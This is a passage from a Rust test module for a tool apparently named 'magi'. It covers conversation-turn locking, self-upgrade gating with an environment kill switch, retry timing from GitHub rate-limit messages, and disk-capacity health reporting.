22893            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22894        });
22895        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22896            while !started.exists() {
22897                tokio::time::sleep(Duration::from_millis(10)).await;
22898            }
22899        })
22900        .await;
22901        // Always release and join the agent, even if readiness or the web
22902        // request fails, so a failed assertion cannot leave a turn behind.
22903        let refusal = if ready.is_ok() {
22904            let before = consult_snapshot(&ui, &q, &id);
22905            let result = talk_say(
22906                State(Arc::clone(&ui)),
22907                Path(id.clone()),
22908                Ok(Json(NewTalkTurn {
22909                    reply_to: None,
22910                    text: "another message".to_owned(),
22911                    attachments: Vec::new(),
22912                })),
22913            )
22914            .await;
22915            Some((result, before, consult_snapshot(&ui, &q, &id)))
22916        } else {
22917            None
22918        };
22919        std::fs::write(&release, "").expect("release agent");
22920        let done = turn.await.expect("join CLI turn");
22921        ready.expect("agent started before deadline");
22922        let (result, before, after) = refusal.expect("web request");
22923        let error = result.expect_err("web must refuse the CLI's turn");
22924        assert_eq!(error.status, StatusCode::CONFLICT);
22925        assert!(error.message.contains("a turn is already running"));
22926        assert_eq!(
22927            after, before,
22928            "refusal preserves question, draft and history"
22929        );
22930        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22931        let guard = ui
22932            .begin_talk_turn(&id)
22933            .expect("web claim")
22934            .expect("free again");
22935        drop(guard);
22936    }
22937
22938    #[test]
22939    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22940        let home = TempDir::new().expect("temp home");
22941        let talks = Talks::at(home.path().join("talks"));
22942        let ui = Ui::new(
22943            Queue::at(home.path().join("queue")),
22944            Questions::at(home.path().join("questions")),
22945            talks.clone(),
22946            home.path().join("runs"),
22947            home.path().to_path_buf(),
22948            PathBuf::from("/repo"),
22949        )
22950        .with_worktrees_root(home.path().join("wt"));
22951        let id = "20260901-000000-order";
22952        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22953        // Hold the slot mutex so the drop can finish the lease but not the slot.
22954        let slots = ui.talk_turns.lock().unwrap();
22955        let dropper = std::thread::spawn(move || drop(turn));
22956        let start = std::time::Instant::now();
22957        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22958            std::thread::sleep(Duration::from_millis(5));
22959        }
22960        assert!(!talks.turn_held(id), "the lease is released first");
22961        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22962        drop(slots);
22963        dropper.join().expect("join");
22964        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22965    }
22966
22967    #[tokio::test]
22968    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22969        let fx = Fixture::start().await;
22970        let mut beat = crate::daemon::Status::new();
22971        beat.worker_protocol = None;
22972        beat.pid = 4321;
22973        beat.updated_at = jiff::Timestamp::now();
22974        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22975            .expect("publish a heartbeat");
22976
22977        let res = fx.post("/api/upgrade", None).await;
22978        assert_eq!(res.status, 409);
22979    }
22980
22981    /// [`should_spawn_recheck`] must refuse for the same two reasons
22982    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22983    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22984    /// Purely a predicate over config and the environment - no network, no
22985    /// disk, no runtime - so unlike the fixture-based tests around it this
22986    /// one needs neither.
22987    #[test]
22988    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22989        assert!(!should_spawn_recheck(&crate::config::Update {
22990            mode: UpdateMode::Off,
22991            interval: None,
22992            auto_restart: false,
22993        }));
22994
22995        // SAFETY: single-threaded as far as this variable goes, the same
22996        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22997        unsafe {
22998            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22999        }
23000        let killed = should_spawn_recheck(&crate::config::Update {
23001            mode: UpdateMode::Notify,
23002            interval: None,
23003            auto_restart: false,
23004        });
23005        unsafe {
23006            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23007        }
23008        assert!(
23009            !killed,
23010            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23011             one-time startup check"
23012        );
23013
23014        assert!(should_spawn_recheck(&crate::config::Update {
23015            mode: UpdateMode::Notify,
23016            interval: None,
23017            auto_restart: false,
23018        }));
23019    }
23020
23021    /// [`recheck_poll_period`] must track a configured `[update] interval`
23022    /// shorter than its own default ceiling - a fixed sleep here would leave
23023    /// an operator's short interval waiting on the next wake-up instead of on
23024    /// `should_check`, which is the same bug this whole task exists to fix,
23025    /// just one level down.
23026    #[test]
23027    fn recheck_poll_period_tracks_a_short_configured_interval() {
23028        let short = crate::config::Update {
23029            mode: UpdateMode::Notify,
23030            interval: Some("1m".to_owned()),
23031            auto_restart: false,
23032        };
23033        let period = recheck_poll_period(&short);
23034        assert!(
23035            period <= Duration::from_secs(30),
23036            "a one-minute interval must wake the task far sooner than the \
23037             default ceiling, or the deck would not notice within the \
23038             interval the operator configured: got {period:?}"
23039        );
23040
23041        let default = crate::config::Update {
23042            mode: UpdateMode::Notify,
23043            interval: None,
23044            auto_restart: false,
23045        };
23046        assert_eq!(
23047            recheck_poll_period(&default),
23048            UPDATE_RECHECK_POLL_MAX,
23049            "the default day-long interval should poll at the (capped) \
23050             ceiling rather than needlessly often"
23051        );
23052    }
23053
23054    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23055    /// same throttle `updater::Checker::should_check` already gives the
23056    /// CLI's notify mode. Built over an explicit state file via
23057    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23058    /// write the operator's real `last_update_check.json` - and therefore
23059    /// cannot flake on whatever that file happens to say on the machine
23060    /// running the test.
23061    #[test]
23062    fn recheck_skips_the_network_before_the_interval_elapses() {
23063        let dir = TempDir::new().expect("temp dir");
23064        let path = dir.path().join("state.json");
23065        let state = kaishin::UpdateCheckState {
23066            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23067            last_known_latest: None,
23068            last_known_url: None,
23069        };
23070        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23071
23072        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23073        assert!(
23074            !update_recheck_due(&checker, None),
23075            "a check made moments ago must not be repeated before the \
23076             configured interval elapses"
23077        );
23078    }
23079
23080    /// An upgrade this deck already started must not be raced by a recheck
23081    /// that discovers a newer release mid-install - regardless of what
23082    /// `should_check` says, which is why the state file here is missing
23083    /// entirely: read alone, that alone would answer "never checked, go
23084    /// ahead".
23085    #[test]
23086    fn recheck_defers_to_an_upgrade_already_in_flight() {
23087        let dir = TempDir::new().expect("temp dir");
23088        let path = dir.path().join("state.json");
23089        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23090        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23091
23092        assert!(
23093            !update_recheck_due(&checker, Some(&progress)),
23094            "a recheck must not run while an upgrade this deck started is \
23095             still moving"
23096        );
23097    }
23098
23099    #[tokio::test]
23100    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23101        // The same env var the background check honours (`disabled_by_env`)
23102        // must also stop a button press before it ever calls
23103        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23104        // means "never contact GitHub from this process", and a tap on the
23105        // upgrade button must not override that any more than a broken
23106        // `magi.toml` may. Left unset, this fixture's default config would
23107        // otherwise reach a real, unauthenticated GitHub call.
23108        //
23109        // SAFETY: single-threaded as far as this variable goes - nothing else
23110        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23111        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23112        unsafe {
23113            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23114        }
23115        let fx = Fixture::start().await;
23116        let res = fx.post("/api/upgrade", None).await;
23117        unsafe {
23118            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23119        }
23120        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23121        let body = res.json();
23122        assert!(body["to"].is_null(), "there was no release to move to");
23123        assert!(body["parked"].is_null(), "and nothing was parked");
23124        assert!(
23125            body["detail"]
23126                .as_str()
23127                .unwrap()
23128                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23129            "{body:?}"
23130        );
23131    }
23132
23133    #[test]
23134    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23135        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23136        let mut cfg = Update::default();
23137        assert!(matches!(
23138            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23139            Skip(_)
23140        ));
23141        cfg.auto_restart = true;
23142        assert_eq!(
23143            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23144            Trigger
23145        );
23146        assert_eq!(
23147            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23148            Wait
23149        );
23150        for (disabled, moving, failed) in [
23151            (true, false, None),
23152            (false, true, None),
23153            (false, false, Some("v2")),
23154        ] {
23155            assert!(matches!(
23156                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23157                Skip(_)
23158            ));
23159        }
23160        assert_eq!(
23161            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23162            Trigger
23163        );
23164        cfg.mode = UpdateMode::Off;
23165        assert!(matches!(
23166            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23167            Skip(_)
23168        ));
23169    }
23170
23171    #[test]
23172    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23173        let home = TempDir::new().unwrap();
23174        let ui = idle_ui(&home);
23175        assert!(!ui.auto_upgrade_busy());
23176        let directory = home.path().join("workers/jobs/abcdef");
23177        std::fs::create_dir_all(&directory).unwrap();
23178        let mut job = crate::worker::Job {
23179            id: "abcdef".into(),
23180            sequence: 1,
23181            kind: "scheduler".into(),
23182            key: "scheduler".into(),
23183            payload: serde_json::json!({}),
23184            generation: "test".into(),
23185            version: None,
23186            status: crate::worker::Status::Running,
23187            result: None,
23188            pid: None,
23189            created_at: 0,
23190            finished_at: None,
23191        };
23192        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23193        let write = |job: &crate::worker::Job| {
23194            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23195        };
23196        write(&job);
23197        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23198        for kind in ["task", "chat"] {
23199            job.kind = kind.into();
23200            write(&job);
23201            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23202        }
23203        drop(lease);
23204        // Lease::drop explicitly unlocks even if a concurrent fork inherited
23205        // the descriptor. Check the real decision directly: a raw flock probe
23206        // here could itself be inherited and keep the worker looking busy.
23207        assert!(
23208            !ui.auto_upgrade_busy(),
23209            "completed execution permits updates"
23210        );
23211        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23212        assert!(
23213            ui.auto_upgrade_busy(),
23214            "unreadable worker state defers updates"
23215        );
23216    }
23217
23218    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23219        Box::pin(async { anyhow::bail!("test installer failed") })
23220    }
23221
23222    #[tokio::test]
23223    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23224        let home = TempDir::new().unwrap();
23225        std::fs::write(
23226            home.path().join("magi.toml"),
23227            "[update]\nauto_restart = true\n",
23228        )
23229        .unwrap();
23230        let mut ui = idle_ui(&home);
23231        ui.repo = home.path().to_path_buf();
23232        // Every successful trigger in this test uses this seam, never the installer.
23233        ui.upgrade_runner = fail_test_upgrade;
23234        let ui = Arc::new(ui);
23235        let latest = || {
23236            Some(kaishin::LatestRelease {
23237                tag_name: "v999.0.0".into(),
23238                html_url: String::new(),
23239            })
23240        };
23241        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23242        assert_eq!(
23243            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23244                .await
23245                .status(),
23246            StatusCode::NO_CONTENT
23247        );
23248        assert!(updater::read_progress(home.path()).is_none());
23249        ui.talk_turns.lock().unwrap().live.clear();
23250        let gate = ui.upgrade_gate.lock().await;
23251        assert_eq!(
23252            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23253                .await
23254                .status(),
23255            StatusCode::CONFLICT
23256        );
23257        drop(gate);
23258        assert_eq!(
23259            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23260                .await
23261                .status(),
23262            StatusCode::ACCEPTED
23263        );
23264        let progress = updater::read_progress(home.path()).unwrap();
23265        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23266        assert_eq!(progress.stage, updater::Stage::Downloading);
23267        assert!(progress.parked_run.is_none());
23268        assert!(ui.start_detached_loop().await.is_err());
23269        assert!(ui.start_loop(None).is_err());
23270        assert!(ui.begin_resume("late").is_err());
23271        tokio::time::timeout(Duration::from_secs(2), async {
23272            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23273                tokio::task::yield_now().await;
23274            }
23275        })
23276        .await
23277        .unwrap();
23278        let progress = updater::read_progress(home.path()).unwrap();
23279        assert_eq!(progress.stage, updater::Stage::Failed);
23280        assert_eq!(
23281            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23282                .await
23283                .status(),
23284            StatusCode::NO_CONTENT
23285        );
23286        // The manual shared path records the same progress and runs the same seam.
23287        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23288        assert_eq!(
23289            finish_upgrade_request(&ui, result).status(),
23290            StatusCode::ACCEPTED
23291        );
23292        assert_eq!(
23293            updater::read_progress(home.path()).unwrap().trigger,
23294            updater::UpgradeTrigger::Manual
23295        );
23296        tokio::time::timeout(Duration::from_secs(2), async {
23297            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23298                tokio::task::yield_now().await;
23299            }
23300        })
23301        .await
23302        .unwrap();
23303    }
23304
23305    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23306        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23307        p.stage = stage;
23308        p
23309    }
23310
23311    #[test]
23312    fn busy_stages_match_the_ui_set() {
23313        use crate::updater::Stage;
23314        assert!(APP_JS.contains(
23315            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23316        ));
23317        for s in [
23318            Stage::Downloading,
23319            Stage::Replaced,
23320            Stage::Parking,
23321            Stage::Restarting,
23322        ] {
23323            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23324        }
23325        for s in [Stage::Done, Stage::Failed] {
23326            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23327        }
23328        assert!(upgrade_in_motion(None).is_none());
23329    }
23330
23331    #[tokio::test]
23332    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23333        use crate::updater::Stage;
23334        for stage in [
23335            Stage::Downloading,
23336            Stage::Replaced,
23337            Stage::Parking,
23338            Stage::Restarting,
23339        ] {
23340            let fx = Fixture::start().await;
23341            let seeded = seeded_progress(stage);
23342            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23343            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23344                .expect("read");
23345
23346            let res = fx.post("/api/upgrade", None).await;
23347            assert_eq!(res.status, 409, "{stage:?}");
23348            let err = res.json()["error"].as_str().unwrap().to_owned();
23349            assert!(err.contains("already in progress"), "{err}");
23350            assert!(err.contains(stage.as_str()), "{err}");
23351
23352            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23353                .expect("read");
23354            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23355            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23356                .unwrap_or_default();
23357            assert!(!log.contains("signalling HANDOVER"), "{log}");
23358        }
23359    }
23360
23361    #[test]
23362    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23363        assert_eq!(
23364            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23365            Some(3723)
23366        );
23367        assert_eq!(
23368            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23369            Some(60)
23370        );
23371        assert_eq!(
23372            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23373            Some(0)
23374        );
23375        for message in [
23376            "permission denied",
23377            "GitHub API rate limit exceeded",
23378            "GitHub rate limit (resets in unknown)",
23379            "GitHub rate limit (resets in 18446744073709551615d)",
23380        ] {
23381            assert_eq!(upgrade_retry_after(message), None, "{message}");
23382        }
23383    }
23384
23385    #[tokio::test]
23386    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23387        let home = TempDir::new().unwrap();
23388        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23389        ui.start_loop(None).unwrap();
23390        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23391        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23392        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23393        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23394        let response = finish_upgrade_request(&ui, result);
23395        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23396        assert_eq!(response.headers()["retry-after"], "120");
23397        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23398            .await
23399            .unwrap();
23400        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23401        assert!(body["error"].as_str().unwrap().contains(reason));
23402        assert_eq!(body["retry_after_secs"], 120);
23403        assert!(body["retry_at"].as_u64().is_some());
23404        for _ in 0..2 {
23405            let view = health(State(ui.clone())).await.unwrap().0;
23406            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23407            assert_eq!(failure, body);
23408        }
23409        assert_eq!(
23410            std::fs::read(updater::progress_path(home.path())).unwrap(),
23411            before
23412        );
23413        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23414        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23415        // A conflicting request must not erase the actionable earlier failure.
23416        let gate = ui.upgrade_gate.lock().await;
23417        assert_eq!(
23418            upgrade_post(State(ui.clone())).await.status(),
23419            StatusCode::CONFLICT
23420        );
23421        drop(gate);
23422        assert!(
23423            health(State(ui.clone()))
23424                .await
23425                .unwrap()
23426                .0
23427                .upgrade_request_error
23428                .is_some()
23429        );
23430        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23431        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23432        assert!(
23433            health(State(ui.clone()))
23434                .await
23435                .unwrap()
23436                .0
23437                .upgrade_request_error
23438                .is_none()
23439        );
23440        let live = ui.lock_loop().live.take().unwrap();
23441        live.stop.stop();
23442        live.handle.await.unwrap();
23443    }
23444
23445    #[tokio::test]
23446    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23447        use crate::updater::Stage;
23448        let repo = TempDir::new().expect("repo dir");
23449        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23450            .expect("write magi.toml");
23451        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23452        for stage in [Stage::Done, Stage::Failed] {
23453            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23454            let res = fx.post("/api/upgrade", None).await;
23455            assert_eq!(res.status, 200, "{stage:?}");
23456        }
23457        // No record at all, and the gate was released by the earlier calls.
23458        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23459        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23460    }
23461
23462    #[tokio::test]
23463    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23464        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23465        // and the route answers from its own logic.
23466        //
23467        // This test used to lean on the fixture's placeholder repo failing
23468        // config discovery, which left `mode = "notify"` - and a live,
23469        // unauthenticated call to the GitHub releases API inside a unit test.
23470        // GitHub allows 60 of those an hour per address, so the suite went red
23471        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23472        // long as somebody kept re-running it: every attempt spent another
23473        // request. Six reruns across four pull requests were charged to that
23474        // before it was read as a rate limit rather than a flake.
23475        //
23476        // What the assertion is about is the "already current" branch, which
23477        // is reached by there being no newer release *or* nowhere to look. The
23478        // second one needs no network and cannot be rate limited.
23479        let repo = TempDir::new().expect("repo dir");
23480        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23481            .expect("write magi.toml");
23482        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23483
23484        // It must answer 200 and leave the process alone: restarting for an
23485        // upgrade that did not happen parks the run in flight and drops every
23486        // connection to pay for nothing. A probe against a deck already on the
23487        // newest build did exactly that, which is how this case got its own
23488        // branch.
23489        let res = fx.post("/api/upgrade", None).await;
23490        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23491        let body = res.json();
23492        assert!(body["to"].is_null(), "there was no release to move to");
23493        assert!(body["parked"].is_null(), "and nothing was parked");
23494        assert!(
23495            body["detail"]
23496                .as_str()
23497                .unwrap()
23498                .contains("nothing restarted"),
23499            "{body:?}"
23500        );
23501    }
23502
23503    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23504        tokio::time::timeout(Duration::from_secs(5), async {
23505            while state.lock().unwrap().in_flight {
23506                tokio::task::yield_now().await;
23507            }
23508        })
23509        .await
23510        .expect("capacity scan finished");
23511    }
23512
23513    fn disk_test_scope(home: &FsPath) -> DiskScope {
23514        DiskScope {
23515            runs: home.join("runs"),
23516            worktrees: home.join("worktrees"),
23517            cache: Some(home.join("cache")),
23518        }
23519    }
23520
23521    fn known_disk_capacity() -> DiskCapacity {
23522        DiskCapacity {
23523            free_bytes: Some(100),
23524            runs_bytes: Some(200),
23525            worktrees_bytes: Some(300),
23526            cache_bytes: Some(400),
23527        }
23528    }
23529
23530    #[tokio::test]
23531    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23532        let home = TempDir::new().unwrap();
23533        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23534        let mut ui = delta_test_ui(home.path());
23535        let state = Arc::get_mut(&mut ui).unwrap();
23536        state.repo = home.path().to_owned();
23537        state.worktrees_root = home.path().join("worktrees");
23538        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23539        ui.monitor
23540            .worker_started
23541            .store(true, std::sync::atomic::Ordering::SeqCst);
23542        let cfg = deputy_config(&ui.repo);
23543        let scope = DiskScope::of(&ui, cfg.as_ref());
23544        let (started, reached) = tokio::sync::oneshot::channel();
23545        let (release, blocked) = std::sync::mpsc::channel();
23546        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23547            started.send(()).unwrap();
23548            blocked.recv().unwrap();
23549            known_disk_capacity()
23550        });
23551        assert!(cold.runs_bytes.is_none());
23552        tokio::time::timeout(Duration::from_secs(5), reached)
23553            .await
23554            .unwrap()
23555            .unwrap();
23556
23557        let requests: Vec<_> = (0..4)
23558            .map(|_| {
23559                let ui = ui.clone();
23560                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23561            })
23562            .collect();
23563        tokio::time::timeout(Duration::from_secs(5), async {
23564            for request in requests {
23565                let view = request.await.unwrap();
23566                let disk = serde_json::to_value(view.disk).unwrap();
23567                assert!(disk["runs_bytes"].is_null());
23568                assert!(disk["worktrees_bytes"].is_null());
23569                // Free space is a cheap live observation even while the
23570                // recursive capacity measurement remains blocked.
23571                assert!(disk["free_bytes"].is_u64());
23572            }
23573        })
23574        .await
23575        .expect("health must return while the measurement is causally blocked");
23576        assert!(ui.monitor.disk.lock().unwrap().in_flight);
23577        // No competing worker can have published while the first holds flight.
23578        assert!(
23579            ui.monitor
23580                .disk
23581                .lock()
23582                .unwrap()
23583                .capacity
23584                .runs_bytes
23585                .is_none()
23586        );
23587        release.send(()).unwrap();
23588        wait_for_disk_scan(&ui.monitor.disk).await;
23589        assert_eq!(
23590            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23591            Some(200)
23592        );
23593    }
23594
23595    #[tokio::test]
23596    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23597        let home = TempDir::new().unwrap();
23598        let scope = disk_test_scope(home.path());
23599        let state = Arc::new(Mutex::new(DiskObservation {
23600            scope: Some(scope.clone()),
23601            capacity: known_disk_capacity(),
23602            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23603            ..Default::default()
23604        }));
23605        let (started, reached) = tokio::sync::oneshot::channel();
23606        let (release, blocked) = std::sync::mpsc::channel();
23607        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23608            started.send(()).unwrap();
23609            blocked.recv().unwrap();
23610            DiskCapacity {
23611                runs_bytes: Some(250),
23612                ..Default::default()
23613            }
23614        });
23615        assert_eq!(before.cache_bytes, Some(400));
23616        tokio::time::timeout(Duration::from_secs(5), reached)
23617            .await
23618            .unwrap()
23619            .unwrap();
23620        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23621        for _ in 0..4 {
23622            let scans = duplicate_scans.clone();
23623            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23624                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23625                DiskCapacity::default()
23626            });
23627            assert_eq!(during.runs_bytes, Some(200));
23628            assert_eq!(during.cache_bytes, Some(400));
23629        }
23630        release.send(()).unwrap();
23631        wait_for_disk_scan(&state).await;
23632        let scans = duplicate_scans.clone();
23633        let after = DiskObservation::observe(&state, scope, move |_| {
23634            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23635            DiskCapacity::default()
23636        });
23637        wait_for_disk_scan(&state).await;
23638        assert_eq!(after.runs_bytes, Some(250));
23639        assert_eq!(after.free_bytes, Some(100));
23640        assert_eq!(after.cache_bytes, Some(400));
23641        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23642        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23643    }
23644
23645    #[tokio::test]
23646    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23647        let home = TempDir::new().unwrap();
23648        let old_scope = disk_test_scope(home.path());
23649        let mut new_scope = old_scope.clone();
23650        new_scope.cache = Some(home.path().join("replacement-cache"));
23651        let state = Arc::new(Mutex::new(DiskObservation {
23652            scope: Some(old_scope.clone()),
23653            capacity: known_disk_capacity(),
23654            ..Default::default()
23655        }));
23656        let (started, reached) = tokio::sync::oneshot::channel();
23657        let (release, blocked) = std::sync::mpsc::channel();
23658        DiskObservation::observe(&state, old_scope, move |_| {
23659            started.send(()).unwrap();
23660            blocked.recv().unwrap();
23661            known_disk_capacity()
23662        });
23663        tokio::time::timeout(Duration::from_secs(5), reached)
23664            .await
23665            .unwrap()
23666            .unwrap();
23667        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23668        let scans = duplicate_scans.clone();
23669        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23670            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23671            DiskCapacity::default()
23672        });
23673        assert!(changed.cache_bytes.is_none());
23674        assert!(changed.runs_bytes.is_none());
23675        release.send(()).unwrap();
23676        wait_for_disk_scan(&state).await;
23677        {
23678            let observation = state.lock().unwrap();
23679            assert!(observation.capacity.cache_bytes.is_none());
23680            assert!(observation.finished.is_none());
23681        }
23682        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23683            assert_eq!(scope, &new_scope);
23684            DiskCapacity {
23685                cache_bytes: Some(999),
23686                ..Default::default()
23687            }
23688        });
23689        wait_for_disk_scan(&state).await;
23690        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23691        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23692    }
23693
23694    #[tokio::test]
23695    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23696        let home = TempDir::new().unwrap();
23697        let scope = disk_test_scope(home.path());
23698        let state = Arc::new(Mutex::new(DiskObservation {
23699            scope: Some(scope.clone()),
23700            capacity: known_disk_capacity(),
23701            ..Default::default()
23702        }));
23703        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23704        wait_for_disk_scan(&state).await;
23705        {
23706            let mut observation = state.lock().unwrap();
23707            assert_eq!(observation.capacity.cache_bytes, Some(400));
23708            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23709            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23710        }
23711        DiskObservation::observe(&state, scope, |_| DiskCapacity {
23712            cache_bytes: Some(450),
23713            ..Default::default()
23714        });
23715        wait_for_disk_scan(&state).await;
23716        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23717    }
23718
23719    #[test]
23720    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23721        let home = TempDir::new().unwrap();
23722        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23723        assert_eq!(disk_capacity_size(home.path()), Some(0));
23724        std::fs::create_dir(home.path().join("nested")).unwrap();
23725        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23726        assert_eq!(disk_capacity_size(home.path()), Some(5));
23727        #[cfg(unix)]
23728        {
23729            // Unix distinguishes an invalid descendant lookup from absence.
23730            assert_eq!(
23731                disk_capacity_size(&home.path().join("nested/data/child")),
23732                None
23733            );
23734        }
23735        #[cfg(unix)]
23736        {
